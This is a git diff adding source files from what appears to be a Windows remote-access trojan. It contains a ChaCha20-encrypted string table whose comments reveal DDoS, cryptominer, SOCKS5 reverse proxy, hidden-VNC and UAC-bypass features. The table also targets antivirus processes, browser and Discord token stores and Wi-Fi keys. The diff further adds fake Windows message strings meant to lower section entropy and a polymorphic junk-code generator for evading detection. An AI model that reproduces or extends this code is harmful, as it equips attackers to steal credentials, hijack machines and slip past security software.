0xEA, 0x8E, 0xE2, 0x9F, + 0x28, 0x5F, 0x2D, 0xFC, 0xD1, 0xF5, 0x14, 0xEE, 0x74, 0xB5, 0xED, 0x21, 0x2C, 0x6D, 0xC4, 0x6D, + 0xB8, 0xCF, 0x7B, 0x92, 0x0F, 0x66, 0xEC, 0x6E, 0xF3, 0xE7, 0x11, 0x20, 0x98, 0xA5, 0x4D, 0x7D, + 0xD9, 0x12, 0xD9, 0xC2, 0x7F, 0x3B, 0x5B, 0x49, 0xE0, 0xFF, 0xEB, 0x54, 0xED, 0xC2, 0xDF, 0x58, + 0xDF, 0xCC +}; + +// "No DDoS flood is running" (24 bytes) +static const uint8_t enc_obf_ddos_not_running[] = { + 0x80, 0xCB, 0x9C, 0x2B, 0xFE, 0xE3, 0x0F, 0x00, 0x0A, 0xDC, 0x35, 0x95, 0x35, 0x68, 0x5F, 0xD9, + 0x7F, 0x38, 0xEF, 0x3E, 0x26, 0xE5, 0xC7, 0xD5 +}; + +// "Miner started (PID %lu) | Pool: %s | CPU: %d%% | API port: %d" (61 bytes) +static const uint8_t enc_obf_miner_started_fmt[] = { + 0x83, 0xCD, 0xD2, 0x0A, 0xC8, 0xAC, 0x2F, 0x54, 0x0D, 0xC2, 0x2E, 0x9F, 0x35, 0x68, 0x1E, 0xFA, + 0x16, 0x0E, 0xBA, 0x75, 0x24, 0xF9, 0x80, 0x92, 0x47, 0x2D, 0x87, 0xA6, 0xBF, 0xC2, 0xFD, 0xD3, + 0x78, 0x5F, 0x2D, 0xFC, 0xD1, 0xE4, 0x21, 0xCA, 0x3B, 0xF0, 0xBB, 0x31, 0x7A, 0x72, 0xC4, 0x34, + 0xF4, 0xEA, 0x0B, 0xA7, 0x0F, 0x53, 0xF1, 0x6E, 0xE8, 0xAF, 0x42, 0x3F, 0xDC +}; + +// "Miner already running. Stop it first." (37 bytes) +static const uint8_t enc_obf_miner_already[] = { + 0x83, 0xCD, 0xD2, 0x0A, 0xC8, 0xAC, 0x3D, 0x4C, 0x1E, 0xD5, 0x3B, 0x9E, 0x28, 0x68, 0x44, 0xDF, + 0x31, 0x24, 0xF3, 0x3E, 0x2F, 0xA2, 0x89, 0xE1, 0x4F, 0x62, 0xA7, 0xE9, 0xB9, 0xDA, 0xE7, 0x95, + 0x34, 0x5E, 0x7E, 0xF4, 0xDF +}; + +// "Miner stopped (PID %lu)" (23 bytes) +static const uint8_t enc_obf_miner_stopped_fmt[] = { + 0x83, 0xCD, 0xD2, 0x0A, 0xC8, 0xAC, 0x2F, 0x54, 0x03, 0xC0, 0x2A, 0x9F, 0x35, 0x68, 0x1E, 0xFA, + 0x16, 0x0E, 0xBA, 0x75, 0x24, 0xF9, 0x80 +}; + +// "No miner is running" (19 bytes) +static const uint8_t enc_obf_miner_not_running[] = { + 0x80, 0xCB, 0x9C, 0x02, 0xD3, 0xE2, 0x39, 0x52, 0x4C, 0xD9, 0x29, 0xDA, 0x23, 0x3D, 0x58, 0xC4, + 0x36, 0x24, 0xFD +}; + +// "Microsoft\\Runtime" (17 bytes) +static const uint8_t enc_obf_miner_dir[] = { + 0x83, 0xCD, 0xDF, 0x1D, 0xD5, 0xFF, 0x33, 0x46, 0x18, 0xEC, 0x08, 0x8F, 0x3F, 0x3C, 0x5F, 0xC7, + 0x3A +}; + +// "svcruntime.exe" (14 bytes) +static const uint8_t enc_obf_miner_exe[] = { + 0xBD, 0xD2, 0xDF, 0x1D, 0xCF, 0xE2, 0x28, 0x49, 0x01, 0xD5, 0x74, 0x9F, 0x29, 0x2D +}; + +// "SOCKS5 reverse proxy started" (28 bytes) +static const uint8_t enc_obf_socks5_started[] = { + 0x9D, 0xEB, 0xFF, 0x24, 0xE9, 0xB9, 0x7C, 0x52, 0x09, 0xC6, 0x3F, 0x88, 0x22, 0x2D, 0x16, 0xDA, + 0x2D, 0x25, 0xE2, 0x29, 0x68, 0xFF, 0xDD, 0xD3, 0x49, 0x79, 0xB2, 0xAD +}; + +// "SOCKS5 reverse proxy stopped" (28 bytes) +static const uint8_t enc_obf_socks5_stopped[] = { + 0x9D, 0xEB, 0xFF, 0x24, 0xE9, 0xB9, 0x7C, 0x52, 0x09, 0xC6, 0x3F, 0x88, 0x22, 0x2D, 0x16, 0xDA, + 0x2D, 0x25, 0xE2, 0x29, 0x68, 0xFF, 0xDD, 0xDD, 0x4B, 0x7D, 0xB2, 0xAD +}; + +// "SOCKS5 was not running" (22 bytes) +static const uint8_t enc_obf_socks5_not_running[] = { + 0x9D, 0xEB, 0xFF, 0x24, 0xE9, 0xB9, 0x7C, 0x57, 0x0D, 0xC3, 0x7A, 0x94, 0x3E, 0x3C, 0x16, 0xD8, + 0x2A, 0x24, 0xF4, 0x39, 0x26, 0xEB +}; + +// "Software\\Classes\\ms-settings\\shell\\open" (39 bytes) +static const uint8_t enc_obf_ms_settings_open[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xF3, 0x36, 0x9B, 0x22, 0x3B, 0x53, 0xD9, + 0x03, 0x27, 0xE9, 0x7D, 0x3B, 0xE9, 0xDD, 0xC6, 0x52, 0x63, 0xB0, 0xBA, 0x8C, 0xDD, 0xAF, 0x96, + 0x31, 0x40, 0x51, 0xEF, 0x81, 0xC2, 0x1F +}; + +// "Software\\Classes\\ms-settings\\shell" (34 bytes) +static const uint8_t enc_obf_ms_settings_shell[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xF3, 0x36, 0x9B, 0x22, 0x3B, 0x53, 0xD9, + 0x03, 0x27, 0xE9, 0x7D, 0x3B, 0xE9, 0xDD, 0xC6, 0x52, 0x63, 0xB0, 0xBA, 0x8C, 0xDD, 0xAF, 0x96, + 0x31, 0x40 +}; + +// "Software\\Classes\\ms-settings" (28 bytes) +static const uint8_t enc_obf_ms_settings_root[] = { + 0x9D, 0xCB, 0xDA, 0x1B, 0xCD, 0xED, 0x2E, 0x45, 0x30, 0xF3, 0x36, 0x9B, 0x22, 0x3B, 0x53, 0xD9, + 0x03, 0x27, 0xE9, 0x7D, 0x3B, 0xE9, 0xDD, 0xC6, 0x52, 0x63, 0xB0, 0xBA +}; + +// "hVNC streaming started (hidden desktop created)" (47 bytes) +static const uint8_t enc_obf_hvnc_started[] = { + 0xA6, 0xF2, 0xF2, 0x2C, 0x9A, 0xFF, 0x28, 0x52, 0x09, 0xD1, 0x37, 0x93, 0x3F, 0x2F, 0x16, 0xD9, + 0x2B, 0x2B, 0xE8, 0x24, 0x2D, 0xE8, 0x89, 0x9A, 0x53, 0x64, 0xB3, 0xAD, 0xB5, 0xC0, 0xE7, 0x97, + 0x38, 0x5F, 0x66, 0xF4, 0x9E, 0xD7, 0x51, 0xFC, 0x73, 0xB5, 0xFF, 0x21, 0x3A, 0x33, 0xCD +}; + +// "hVNC stopped (hidden desktop destroyed)" (39 bytes) +static const uint8_t enc_obf_hvnc_stopped[] = { + 0xA6, 0xF2, 0xF2, 0x2C, 0x9A, 0xFF, 0x28, 0x4F, 0x1C, 0xC0, 0x3F, 0x9E, 0x71, 0x60, 0x5E, 0xC3, + 0x3B, 0x2E, 0xFF, 0x3E, 0x68, 0xE8, 0xCC, 0xC1, 0x50, 0x79, 0xB8, 0xB9, 0xF0, 0xCA, 0xA2, 0x80, + 0x29, 0x5E, 0x62, 0xF9, 0x94, 0xC3, 0x58 +}; + +// "hVNC was not running" (20 bytes) +static const uint8_t enc_obf_hvnc_not_running[] = { + 0xA6, 0xF2, 0xF2, 0x2C, 0x9A, 0xFB, 0x3D, 0x53, 0x4C, 0xDE, 0x35, 0x8E, 0x71, 0x3A, 0x43, 0xC4, + 0x31, 0x23, 0xF4, 0x37 +}; + +// "hVNC session is not active" (26 bytes) +static const uint8_t enc_obf_hvnc_not_active[] = { + 0xA6, 0xF2, 0xF2, 0x2C, 0x9A, 0xFF, 0x39, 0x53, 0x1F, 0xD9, 0x35, 0x94, 0x71, 0x21, 0x45, 0x8A, + 0x31, 0x25, 0xEE, 0x70, 0x29, 0xEF, 0xDD, 0xDB, 0x4D, 0x68 +}; + +// "schtasks /Delete /TN \\\"%s\\\" /F" (30 bytes) +static const uint8_t enc_obf_schtasks_delete_fmt[] = { + 0xBD, 0xC7, 0xD4, 0x1B, 0xDB, 0xFF, 0x37, 0x53, 0x4C, 0x9F, 0x1E, 0x9F, 0x3D, 0x2D, 0x42, 0xCF, + 0x7F, 0x65, 0xCE, 0x1E, 0x68, 0xD0, 0x8B, 0x97, 0x48, 0x51, 0xF5, 0xE9, 0xFF, 0xE8 +}; + +// "bitsadmin /cancel \\\"%s\\\"" (24 bytes) +static const uint8_t enc_obf_bitsadmin_cancel_fmt[] = { + 0xAC, 0xCD, 0xC8, 0x1C, 0xDB, 0xE8, 0x31, 0x49, 0x02, 0x90, 0x75, 0x99, 0x30, 0x26, 0x55, 0xCF, + 0x33, 0x6A, 0xC6, 0x72, 0x6D, 0xFF, 0xF5, 0x90 +}; + +// "powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command \\\"Get-WmiObject -Namespace root\\subscription -Class __EventFilter | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject; Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | Where-Object { $_.Name -eq '%s' } | Remove-WmiObject\\\"" (324 bytes) +static const uint8_t enc_obf_ps_wmidelete_fmt[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x74, 0x9F, 0x29, 0x2D, 0x16, 0x87, + 0x11, 0x25, 0xCA, 0x22, 0x27, 0xEA, 0xC0, 0xDE, 0x5E, 0x2D, 0xFA, 0x87, 0xBF, 0xC0, 0x8E, 0x9D, + 0x29, 0x49, 0x7F, 0xE1, 0x92, 0xD3, 0x18, 0xE9, 0x64, 0xF0, 0xB3, 0x02, 0x36, 0x39, 0x80, 0x27, + 0xA3, 0xF8, 0x2F, 0x97, 0x43, 0x46, 0xBE, 0x54, 0xF5, 0xF1, 0x06, 0x7F, 0xD6, 0xA0, 0x0C, 0x5A, + 0x96, 0x03, 0x94, 0xE2, 0x67, 0x38, 0x41, 0x35, 0xE7, 0x96, 0xBE, 0x46, 0xE0, 0xE7, 0xD7, 0x40, + 0xBF, 0xDD, 0xEC, 0xE5, 0xD4, 0x03, 0xF4, 0xCE, 0xE5, 0x1E, 0x34, 0x44, 0x45, 0xF7, 0x8E, 0xC8, + 0xF0, 0xBF, 0x81, 0x03, 0x95, 0xC6, 0x51, 0x97, 0x93, 0x0C, 0x3D, 0xB7, 0x43, 0xF5, 0xF1, 0x61, + 0xBD, 0xE5, 0xF5, 0x9C, 0x50, 0x45, 0x19, 0xB3, 0x62, 0x07, 0xEF, 0x4A, 0x06, 0x7D, 0x26, 0x57, + 0xEA, 0xE1, 0xC7, 0xF6, 0x1D, 0x74, 0x40, 0x03, 0x08, 0x53, 0x43, 0x6C, 0x0E, 0x3C, 0x81, 0x56, + 0xA5, 0x66, 0x75, 0x82, 0x1C, 0x32, 0xF2, 0x87, 0x98, 0xFC, 0x54, 0x64, 0xF4, 0x11, 0xEE, 0x5D, + 0x8A, 0xD2, 0x14, 0xAA, 0xF1, 0x19, 0x3E, 0x5A, 0x1D, 0xC2, 0x70, 0xA8, 0x9C, 0x81, 0x25, 0x98, + 0xA3, 0x5A, 0xB0, 0x36, 0xEE, 0xDC, 0x0A, 0x6C, 0x1D, 0x25, 0xD3, 0x24, 0x76, 0x58, 0xC2, 0xD0, + 0x2D, 0x5B, 0xB2, 0xA0, 0xB3, 0x73, 0x2B, 0x2F, 0xFC, 0x6A, 0x00, 0x90, 0x68, 0x36, 0x1B, 0x91, + 0x05, 0xAD, 0x26, 0x61, 0xF2, 0xC2, 0x0F, 0xAE, 0xC9, 0xE7, 0x0A, 0x5D, 0x19, 0xB7, 0x5F, 0x80, + 0xEA, 0xFF, 0xDB, 0x88, 0x19, 0xD0, 0x2E, 0x7E, 0x36, 0xA0, 0x72, 0x01, 0xB3, 0x29, 0x24, 0x43, + 0xC1, 0x85, 0xD9, 0xAC, 0xF2, 0x10, 0x3B, 0xED, 0xAF, 0xB5, 0x30, 0xC1, 0x7C, 0x44, 0xD3, 0xAB, + 0xBB, 0xA9, 0x81, 0x88, 0x72, 0x94, 0x6B, 0x59, 0x0E, 0x63, 0x09, 0xE9, 0xE4, 0x0B, 0xF0, 0x95, + 0xBF, 0xE4, 0x65, 0xB2, 0xFE, 0xB6, 0x3E, 0x1F, 0x75, 0x0C, 0x97, 0x95, 0x2A, 0x2F, 0x35, 0x8A, + 0xB5, 0xCC, 0xB0, 0x7E, 0x5A, 0x5F, 0x9D, 0x7C, 0xC0, 0x49, 0x6B, 0xB7, 0x01, 0x2F, 0xA2, 0x27, + 0x63, 0xE9, 0x92, 0x9D, 0x3E, 0xE7, 0x83, 0xCA, 0x7C, 0xB2, 0x37, 0xFF, 0x7A, 0xD0, 0x78, 0x18, + 0xE7, 0xCB, 0x9D, 0x29 +}; + +// "powershell -NoProfile -WindowStyle Hidden -EncodedCommand %s" (60 bytes) +static const uint8_t enc_obf_ps_encoded_hidden[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x7A, 0xD7, 0x1F, 0x27, 0x66, 0xD8, + 0x30, 0x2C, 0xF3, 0x3C, 0x2D, 0xAC, 0x84, 0xE5, 0x52, 0x63, 0xB3, 0xA6, 0xA7, 0xFD, 0xB3, 0x8A, + 0x31, 0x49, 0x2D, 0xC8, 0x98, 0xC3, 0x15, 0xFA, 0x6F, 0xF0, 0xB3, 0x10, 0x31, 0x34, 0x8B, 0x2C, + 0xB1, 0xCF, 0x18, 0x81, 0x42, 0x4E, 0xFF, 0x72, 0xF8, 0xB5, 0x47, 0x69 +}; + +// "powershell -NoProfile -EncodedCommand %s" (40 bytes) +static const uint8_t enc_obf_ps_encoded[] = { + 0xBE, 0xCB, 0xCB, 0x0A, 0xC8, 0xFF, 0x34, 0x45, 0x00, 0xDC, 0x7A, 0xD7, 0x1F, 0x27, 0x66, 0xD8, + 0x30, 0x2C, 0xF3, 0x3C, 0x2D, 0xAC, 0x84, 0xF7, 0x55, 0x6E, 0xB8, 0xAD, 0xB5, 0xCA, 0x84, 0x9C, + 0x30, 0x41, 0x6C, 0xEE, 0x95, 0x87, 0x54, 0xEC +}; + +// ---- Entropy dilution padding (lowers .rdata section entropy) ---- +static const char __attribute__((used)) _entropy_pad_0[] = "Insufficient system resources exist to complete the requested service."; +static const char __attribute__((used)) _entropy_pad_1[] = "Update check completed successfully."; +static const char __attribute__((used)) _entropy_pad_2[] = "Service started successfully."; +static const char __attribute__((used)) _entropy_pad_3[] = "Reinstalling the application may fix this problem."; +static const char __attribute__((used)) _entropy_pad_4[] = "The directory name is invalid."; +static const char __attribute__((used)) _entropy_pad_5[] = "Performing scheduled maintenance task."; +static const char __attribute__((used)) _entropy_pad_6[] = "The system cannot find the path specified."; +static const char __attribute__((used)) _entropy_pad_7[] = "Operation timed out. Please try again later."; +static const char __attribute__((used)) _entropy_pad_8[] = "An attempt was made to load a program with an incorrect format."; +static const char __attribute__((used)) _entropy_pad_9[] = "Initializing common controls..."; +static const char __attribute__((used)) _entropy_pad_10[] = "This application has requested the Runtime to terminate it in an unusual way."; +static const char __attribute__((used)) _entropy_pad_11[] = "The data area passed to a system call is too small."; +static const char __attribute__((used)) _entropy_pad_12[] = "The specified path is invalid."; +static const char __attribute__((used)) _entropy_pad_13[] = "Network connectivity restored."; +static const char __attribute__((used)) _entropy_pad_14[] = "The system cannot find the file specified."; +static const char __attribute__((used)) _entropy_pad_15[] = "Log rotation completed successfully."; +static const char __attribute__((used)) _entropy_pad_16[] = "The operation completed successfully."; +static const char __attribute__((used)) _entropy_pad_17[] = "Access is denied."; +static const char __attribute__((used)) _entropy_pad_18[] = "There is not enough space on the disk."; +static const char __attribute__((used)) _entropy_pad_19[] = "Windows (R) Operating System"; +static const char __attribute__((used)) _entropy_pad_20[] = "The application was unable to start correctly."; +static const char __attribute__((used)) _entropy_pad_21[] = "The specified network name is no longer available."; +static const char __attribute__((used)) _entropy_pad_22[] = "No updates available at this time."; +static const char __attribute__((used)) _entropy_pad_23[] = "Configuration file loaded successfully."; +static const char __attribute__((used)) _entropy_pad_24[] = "The filename or extension is too long."; +static const char __attribute__((used)) _entropy_pad_25[] = "System health check passed."; +static const char __attribute__((used)) _entropy_pad_26[] = "Waiting for system resources..."; +static const char __attribute__((used)) _entropy_pad_27[] = "Cache cleared successfully."; +static const char __attribute__((used)) _entropy_pad_28[] = "The parameter is incorrect."; +static const char __attribute__((used)) _entropy_pad_29[] = "Loading user preferences..."; +static const char __attribute__((used)) _entropy_pad_30[] = "Connecting to update server..."; +static const char __attribute__((used)) _entropy_pad_31[] = "Microsoft Visual C++ Runtime Library"; +static const char __attribute__((used)) _entropy_pad_32[] = "The process cannot access the file because it is being used by another process."; +static const char __attribute__((used)) _entropy_pad_33[] = "Service stopped by user request."; +static const char __attribute__((used)) _entropy_pad_34[] = "Not enough storage is available to process this command."; +static const char __attribute__((used)) _entropy_pad_35[] = "This application has failed to start because the application configuration is incorrect."; +static const char __attribute__((used)) _entropy_pad_36[] = "A security error has occurred."; +static const char __attribute__((used)) _entropy_pad_37[] = "Copyright (C) Microsoft Corporation. All rights reserved."; +static const char __attribute__((used)) _entropy_pad_38[] = "Checking for software updates..."; +static const char __attribute__((used)) _entropy_pad_39[] = "Windows could not start because the following file is missing or corrupt."; + +// String table: { encrypted_data, length } +typedef struct { const uint8_t *data; size_t len; } obf_entry_t; + +static const obf_entry_t obf_table[OBF_STRING_COUNT] = { + { enc_obf_zerin_update, 12 }, // OBF_ZERIN_UPDATE + { enc_obf_zerin_svc, 9 }, // OBF_ZERIN_SVC + { enc_obf_zerin_maintenance, 17 }, // OBF_ZERIN_MAINTENANCE + { enc_obf_zerin_transfer, 14 }, // OBF_ZERIN_TRANSFER + { enc_obf_zerin_wmi, 9 }, // OBF_ZERIN_WMI + { enc_obf_zerin_port, 10 }, // OBF_ZERIN_PORT + { enc_obf_zerin_update_exe, 16 }, // OBF_ZERIN_UPDATE_EXE + { enc_obf_zerin_exe, 10 }, // OBF_ZERIN_EXE + { enc_obf_run_key_path, 45 }, // OBF_RUN_KEY_PATH + { enc_obf_session_key_path, 62 }, // OBF_SESSION_KEY_PATH + { enc_obf_environment, 11 }, // OBF_ENVIRONMENT + { enc_obf_desktop_path, 21 }, // OBF_DESKTOP_PATH + { enc_obf_scrnsave, 12 }, // OBF_SCRNSAVE + { enc_obf_logon_script, 22 }, // OBF_LOGON_SCRIPT + { enc_obf_maintenance_val, 11 }, // OBF_MAINTENANCE_VAL + { enc_obf_sethc_ifeo, 83 }, // OBF_SETHC_IFEO + { enc_obf_print_monitors, 47 }, // OBF_PRINT_MONITORS + { enc_obf_lsa_path, 36 }, // OBF_LSA_PATH + { enc_obf_security_packages, 17 }, // OBF_SECURITY_PACKAGES + { enc_obf_com_clsid_path, 76 }, // OBF_COM_CLSID_PATH + { enc_obf_shm_name, 17 }, // OBF_SHM_NAME + { enc_obf_evt_name, 17 }, // OBF_EVT_NAME + { enc_obf_services_path, 33 }, // OBF_SERVICES_PATH + { enc_obf_debugger, 8 }, // OBF_DEBUGGER + { enc_obf_driver, 6 }, // OBF_DRIVER + { enc_obf_threading_model, 14 }, // OBF_THREADING_MODEL + { enc_obf_screen_save_active, 16 }, // OBF_SCREEN_SAVE_ACTIVE + { enc_obf_screen_save_timeout, 17 }, // OBF_SCREEN_SAVE_TIMEOUT + { enc_obf_zerin_display, 26 }, // OBF_ZERIN_DISPLAY + { enc_obf_cmd_exe, 7 }, // OBF_CMD_EXE + { enc_obf_ntdll, 9 }, // OBF_NTDLL + { enc_obf_kernel32, 12 }, // OBF_KERNEL32 + { enc_obf_advapi32, 12 }, // OBF_ADVAPI32 + { enc_obf_winhttp, 11 }, // OBF_WINHTTP + { enc_obf_powershell, 14 }, // OBF_POWERSHELL + { enc_obf_persist_mutex, 22 }, // OBF_PERSIST_MUTEX + { enc_obf_ms_settings_cmd, 47 }, // OBF_MS_SETTINGS_CMD + { enc_obf_delegate_execute, 15 }, // OBF_DELEGATE_EXECUTE + { enc_obf_netapi32, 12 }, // OBF_NETAPI32 + { enc_obf_amsi, 8 }, // OBF_AMSI + { enc_obf_msmpeng, 11 }, // OBF_MSMPENG + { enc_obf_mpcmdrun, 12 }, // OBF_MPCMDRUN + { enc_obf_mssense, 11 }, // OBF_MSSENSE + { enc_obf_sechealth, 25 }, // OBF_SECHEALTH + { enc_obf_sgrmbroker, 14 }, // OBF_SGRMBROKER + { enc_obf_chrome_userdata, 23 }, // OBF_CHROME_USERDATA + { enc_obf_edge_userdata, 24 }, // OBF_EDGE_USERDATA + { enc_obf_brave_userdata, 37 }, // OBF_BRAVE_USERDATA + { enc_obf_opera_userdata, 27 }, // OBF_OPERA_USERDATA + { enc_obf_vivaldi_userdata, 17 }, // OBF_VIVALDI_USERDATA + { enc_obf_firefox_reg, 32 }, // OBF_FIREFOX_REG + { enc_obf_firefox_regmain, 40 }, // OBF_FIREFOX_REGMAIN + { enc_obf_firefox_x64, 32 }, // OBF_FIREFOX_X64 + { enc_obf_firefox_x86, 38 }, // OBF_FIREFOX_X86 + { enc_obf_version_dll, 11 }, // OBF_VERSION_DLL + { enc_obf_dxgi_dll, 8 }, // OBF_DXGI_DLL + { enc_obf_d3d11_dll, 9 }, // OBF_D3D11_DLL + { enc_obf_rstrtmgr_dll, 12 }, // OBF_RSTRTMGR_DLL + { enc_obf_wmic_av, 100 }, // OBF_WMIC_AV + { enc_obf_netsh_profiles, 24 }, // OBF_NETSH_PROFILES + { enc_obf_netsh_profile_key, 45 }, // OBF_NETSH_PROFILE_KEY + { enc_obf_ipconfig_flush, 29 }, // OBF_IPCONFIG_FLUSH + { enc_obf_self_delete, 55 }, // OBF_SELF_DELETE + { enc_obf_reg_cryptography, 31 }, // OBF_REG_CRYPTOGRAPHY + { enc_obf_reg_putty, 35 }, // OBF_REG_PUTTY + { enc_obf_reg_cpu, 46 }, // OBF_REG_CPU + { enc_obf_ntdll_path, 29 }, // OBF_NTDLL_PATH + { enc_obf_hosts_path, 37 }, // OBF_HOSTS_PATH + { enc_obf_sethc_exe, 9 }, // OBF_SETHC_EXE + { enc_obf_fodhelper_exe, 13 }, // OBF_FODHELPER_EXE + { enc_obf_clipmon_class, 13 }, // OBF_CLIPMON_CLASS + { enc_obf_black_class, 11 }, // OBF_BLACK_CLASS + { enc_obf_webcam_class, 12 }, // OBF_WEBCAM_CLASS + { enc_obf_discord_ldb, 29 }, // OBF_DISCORD_LDB + { enc_obf_discord_canary_ldb, 35 }, // OBF_DISCORD_CANARY_LDB + { enc_obf_discord_ptb_ldb, 32 }, // OBF_DISCORD_PTB_LDB + { enc_obf_brave_exe_path, 49 }, // OBF_BRAVE_EXE_PATH + { enc_obf_chrome_exe_path, 36 }, // OBF_CHROME_EXE_PATH + { enc_obf_edge_exe_path, 37 }, // OBF_EDGE_EXE_PATH + { enc_obf_firefox_exe_path, 27 }, // OBF_FIREFOX_EXE_PATH + { enc_obf_ps_prefix, 75 }, // OBF_PS_PREFIX + { enc_obf_ps_hidden_prefix, 71 }, // OBF_PS_HIDDEN_PREFIX + { enc_obf_schtasks_fmt, 65 }, // OBF_SCHTASKS_FMT + { enc_obf_bits_chain_fmt, 291 }, // OBF_BITS_CHAIN_FMT + { enc_obf_wmi_ps_fmt, 73 }, // OBF_WMI_PS_FMT + { enc_obf_amsi_open_session, 15 }, // OBF_AMSI_OPEN_SESSION + { enc_obf_reflective_dll_main, 17 }, // OBF_REFLECTIVE_DLL_MAIN + { enc_obf_elevation_moniker, 66 }, // OBF_ELEVATION_MONIKER + { enc_obf_ddos_started_fmt, 51 }, // OBF_DDOS_STARTED_FMT + { enc_obf_ddos_already, 42 }, // OBF_DDOS_ALREADY + { enc_obf_ddos_stopped_fmt, 82 }, // OBF_DDOS_STOPPED_FMT + { enc_obf_ddos_not_running, 24 }, // OBF_DDOS_NOT_RUNNING + { enc_obf_miner_started_fmt, 61 }, // OBF_MINER_STARTED_FMT + { enc_obf_miner_already, 37 }, // OBF_MINER_ALREADY + { enc_obf_miner_stopped_fmt, 23 }, // OBF_MINER_STOPPED_FMT + { enc_obf_miner_not_running, 19 }, // OBF_MINER_NOT_RUNNING + { enc_obf_miner_dir, 17 }, // OBF_MINER_DIR + { enc_obf_miner_exe, 14 }, // OBF_MINER_EXE + { enc_obf_socks5_started, 28 }, // OBF_SOCKS5_STARTED + { enc_obf_socks5_stopped, 28 }, // OBF_SOCKS5_STOPPED + { enc_obf_socks5_not_running, 22 }, // OBF_SOCKS5_NOT_RUNNING + { enc_obf_ms_settings_open, 39 }, // OBF_MS_SETTINGS_OPEN + { enc_obf_ms_settings_shell, 34 }, // OBF_MS_SETTINGS_SHELL + { enc_obf_ms_settings_root, 28 }, // OBF_MS_SETTINGS_ROOT + { enc_obf_hvnc_started, 47 }, // OBF_HVNC_STARTED + { enc_obf_hvnc_stopped, 39 }, // OBF_HVNC_STOPPED + { enc_obf_hvnc_not_running, 20 }, // OBF_HVNC_NOT_RUNNING + { enc_obf_hvnc_not_active, 26 }, // OBF_HVNC_NOT_ACTIVE + { enc_obf_schtasks_delete_fmt, 30 }, // OBF_SCHTASKS_DELETE_FMT + { enc_obf_bitsadmin_cancel_fmt, 24 }, // OBF_BITSADMIN_CANCEL_FMT + { enc_obf_ps_wmidelete_fmt, 324 }, // OBF_PS_WMIDELETE_FMT + { enc_obf_ps_encoded_hidden, 60 }, // OBF_PS_ENCODED_HIDDEN + { enc_obf_ps_encoded, 40 }, // OBF_PS_ENCODED +}; + +char *obf_decrypt_to(int id, char *buf, size_t buf_size) { + if (id < 0 || id >= OBF_STRING_COUNT || !buf || buf_size == 0) + return (char *)0; + const obf_entry_t *e = &obf_table[id]; + if (e->len + 1 > buf_size) + return (char *)0; + uint8_t real_key[32]; + obf_derive_key(real_key); + obf_chacha20_decrypt(real_key, obf_nonce, e->data, (uint8_t *)buf, e->len); + volatile uint8_t *pk = (volatile uint8_t *)real_key; + for (int i = 0; i < 32; i++) pk[i] = 0; + buf[e->len] = '\0'; + return buf; +} + +void obf_wipe(char *buf, size_t len) { + volatile char *p = (volatile char *)buf; + for (size_t i = 0; i <= len; i++) + p[i] = 0; +} diff --git a/src/evasion/poly_junk.c b/src/evasion/poly_junk.c new file mode 100755 index 0000000..d576be8 --- /dev/null +++ b/src/evasion/poly_junk.c @@ -0,0 +1,396 @@ +// Auto-generated by generate_polymorphic.py - DO NOT EDIT +#include + +volatile uint32_t g_poly_state = 0; + +// Forward declarations +static uint32_t poly_fn_37eab4a9(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_62058549(uint32_t p0); +static uint32_t poly_fn_a84afa8b(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_813c5baf(uint32_t p0); +static uint32_t poly_fn_95bf13ec(uint32_t p0, uint32_t p1, uint32_t p2); +static uint32_t poly_fn_7a72f9a4(uint32_t p0); +static uint32_t poly_fn_f152c4e2(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_5bcccb21(uint32_t p0, uint32_t p1, uint32_t p2); +static uint32_t poly_fn_c2477e8c(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_9880dd6c(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_1ee76717(uint32_t p0); +static uint32_t poly_fn_9481ed98(uint32_t p0); +static uint32_t poly_fn_865d40a4(uint32_t p0, uint32_t p1, uint32_t p2); +static uint32_t poly_fn_75630276(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_2b4ae648(uint32_t p0, uint32_t p1, uint32_t p2); +static uint32_t poly_fn_259b2f09(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_045e92e2(uint32_t p0); +static uint32_t poly_fn_a13fbe02(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_35ca3440(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_d06edf08(uint32_t p0); +static uint32_t poly_fn_3e1abaac(uint32_t p0, uint32_t p1, uint32_t p2); +static uint32_t poly_fn_0bac45c2(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_a74b7644(uint32_t p0); +static uint32_t poly_fn_1d4482cc(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_e47de4ff(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_97a12f19(uint32_t p0, uint32_t p1); +static uint32_t poly_fn_327d046a(uint32_t p0); +static uint32_t poly_fn_2b4ec198(uint32_t p0); +static uint32_t poly_fn_62060b2d(uint32_t p0); +static uint32_t poly_fn_b4291e04(uint32_t p0, uint32_t p1); + +static uint32_t poly_fn_37eab4a9(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = r ^ 0x4CB5u; + r = r ^ 0x2A2Au; + r = r + 0x88E5u; + r = r + 0x4B13u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_62058549(uint32_t p0) { + uint32_t arr[8] = { 0x68u, 0xDDu, 0x0Fu, 0xEAu, 0x05u, 0x81u, 0xF7u, 0x14u }; + uint32_t r = p0; + r ^= arr[0]; + r -= arr[1]; + r ^= arr[2]; + r -= arr[3]; + r ^= arr[4]; + r += arr[5]; + r += arr[6]; + r += arr[7]; + return r; +} + +static uint32_t poly_fn_a84afa8b(uint32_t p0, uint32_t p1) { + uint32_t r = p0; + r = poly_fn_62058549(r); + r ^= 0x69D58C01u; + r ^= p1; + return r; +} + +static uint32_t poly_fn_813c5baf(uint32_t p0) { + uint32_t r = p0; + r = (r << 4) | (r >> 28); 